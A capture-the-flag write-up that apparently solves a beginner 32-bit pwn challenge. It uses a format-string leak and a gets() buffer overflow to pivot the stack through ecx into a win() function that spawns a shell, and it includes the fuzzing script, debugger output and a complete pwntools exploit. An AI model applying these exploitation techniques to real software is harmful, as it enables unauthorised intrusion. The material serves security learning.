oldschool
Overview

oldschool

January 12, 2026
4 min read
0

oldschool

Category
pwn
Files
main main.c Dockerfile
Description
learn to pwn with this easy challenge!

Inspecting the binary with checksec:

Terminal window
checksec main
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
Stripped: No

The binary is a 32-bit ELF with NX enabled but No canary and No PIE. This means we have fixed addresses but cannot execute shellcode on the stack.

Program Analysis

The program is straightforward. It contains a win() function that spawns a shell if the correct password is provided.

void win(char *password)
{
if (strcmp(password, "hwhwhwhwhwhw") == 0)
{
system("/bin/sh");
}
}

In main(), we see two opportunities for exploitation:

12: int main()
13: {
14: setvbuf(stdout, NULL, _IONBF, 0);
15: setvbuf(stdin, NULL, _IONBF, 0);
16:
17: char input[15];
18: char password[15];
19:
20: printf("simple pwn... no trickery needed...\n");
21: gets(input);
22: printf(input);
23: printf("\nsay yer magic words: ");
24: gets(password);
25: printf(password);
...
37: return 0;
38: }
  • Format String Vulnerability: Both printf(input) (line 22) and printf(password) (line 25) are vulnerable because the input is passed directly as a format string.
  • Buffer Overflow: Both gets(input) (line 21) and gets(password) (line 24) are vulnerable because gets() does not check the size of the input. While the program checks if input == "hehehehehehehe" and password == "huhuhuhuhuhu" at the end of main(), we can bypass this logic entirely by redirecting execution.

The binary was compiled in a way that the main() function performs a stack restoration from the ecx register. This is often seen in 32-bit binaries compiled with certain stack alignment optimizations.

Looking at the disassembly of the main() function’s epilogue:

pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret

If we can control the value of ecx before the lea esp, [ecx - 4] instruction, we can move the stack pointer esp to a location of our choice. Since the ret instruction pops the next instruction pointer from the stack, this gives us full control over execution.

Exploitation

Before we can pivot the stack, we need a reliable stack address. Since we have a format string vulnerability in the first printf(input), we can fuzz the stack to find a leak.

I used the following fuzz.py script to inspect the stack values:

from pwn import *
elf = context.binary = ELF('./main', checksec=False)
for i in range(20):
try:
io = process(level='error')
io.sendlineafter(b'needed...\n','%{}$p'.format(i).encode())
result = io.recvline().decode()
if result:
print(f"{i}: {result.strip()}")
except EOFError:
pass

Running the fuzzer gives us the following output:

...
10: 0xf7fc1400
11: (nil)
12: 0xffffd3a0
13: 0xf7faae34
...

The leak at index 12 represents a stack address that we can use as a base for our calculations.

We need to point ecx (and subsequently esp) back to our input buffer where our payload lives. By debugging the binary, we can determine the exact distance between the leaked address at index 12 and the start of our payload.

In this case, the stack_target is exactly 48 bytes below the leaked address. We subtract this offset so that when main() performs the stack pivot, esp lands exactly on our forged stack.

# 1. Leak stack address
io.sendlineafter(b'...\n', b'%12$p')
leak = int(io.recvline().strip(), 16)
stack_target = leak - 48 # Offset to point back specifically to P+14

Once our payload is sent to gets(password), the stack frame for main() is corrupted. Here is a visual representation of the memory layout just before the ret instruction in the function epilogue:

Terminal window
pwndbg> tele 0xffffd3b0-16
00:0000│-028 0xffffd3a0 ◂— 0x41410000
01:0004│-024 0xffffd3a4 ◂— 0x41414141 ('AAAA')
02:0008│-020 0xffffd3a8 ◂— 0x41414141 ('AAAA')
03:000c│-01c 0xffffd3ac —▸ 0x80491b6 (win) ◂— push ebp
04:0010│ ecx 0xffffd3b0 ◂— 0
05:0014│-014 0xffffd3b4 —▸ 0x804a008 ◂— 'hwhwhwhwhwhw'
06:0018│-010 0xffffd3b8 —▸ 0xffffd3b0 ◂— 0
07:001c│-00c 0xffffd3bc —▸ 0xffffd3b0 ◂— 0

The magic happens when the function epilogue executes. By pointing ecx to an address 4 bytes after our &win pointer, the lea esp, [ecx-4] instruction perfectly aligns esp with our target address. When ret is executed, it pops &win and launches the shell.

Next, we craft the full payload:

win = elf.sym["win"]
str_addr = next(elf.search(b'hwhwhwhwhwhw'))
payload = flat([
b'A'*10, # Fill buffer
p32(win), # win() address (pivoted EIP)
p32(0), # return address (dummy)
p32(str_addr), # win() argument
p32(stack_target)*3, # overwrite ECX, EBX, EBP
])
io.sendlineafter(b'magic words: ', payload)

When main() returns, the stack pivots to our buffer, and the win() function is called with the required password argument, spawning our shell.

Exploit Script

from pwn import *
def start(argv=[], *a, **kw):
if args.GDB:
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE:
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else:
return process([exe] + argv, *a, **kw)
gdbscript = '''
init-pwndbg
set follow-fork-mode parent
set follow-exec-mode same
b *0x0804925d
b *0x080492b1
b *0x080492cc
continue
'''.format(**locals())
exe = './main'
elf = context.binary = ELF(exe, checksec=False)
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
def logleak(name, val): log.success(name+' = %#x' % val)
def loglibc(): log.success('libc addr = %#x' % libc.address)
def logbase(): log.success('pie addr = %#x' % elf.address)
def sa(delim,data): return io.sendafter(delim,data)
def sla(delim,line): return io.sendlineafter(delim,line)
def sl(line): return io.sendline(line)
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Lib-C library, can use pwninit/patchelf to patch binary
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.27.so")
io = start()
win = elf.sym["win"]
str = next(elf.search(b'hwhwhwhwhwhw'))
sla(b'...\n',b'%12$p')
leak = int(io.recvline().strip(),16)
stack = leak - 48
logleak('stack leak',leak)
logleak('payload address',stack)
logleak('win',win)
payload = flat([
b'A'*10,
p32(win),
p32(0),
p32(str),
p32(stack)*3,
])
sl(payload)
io.interactive()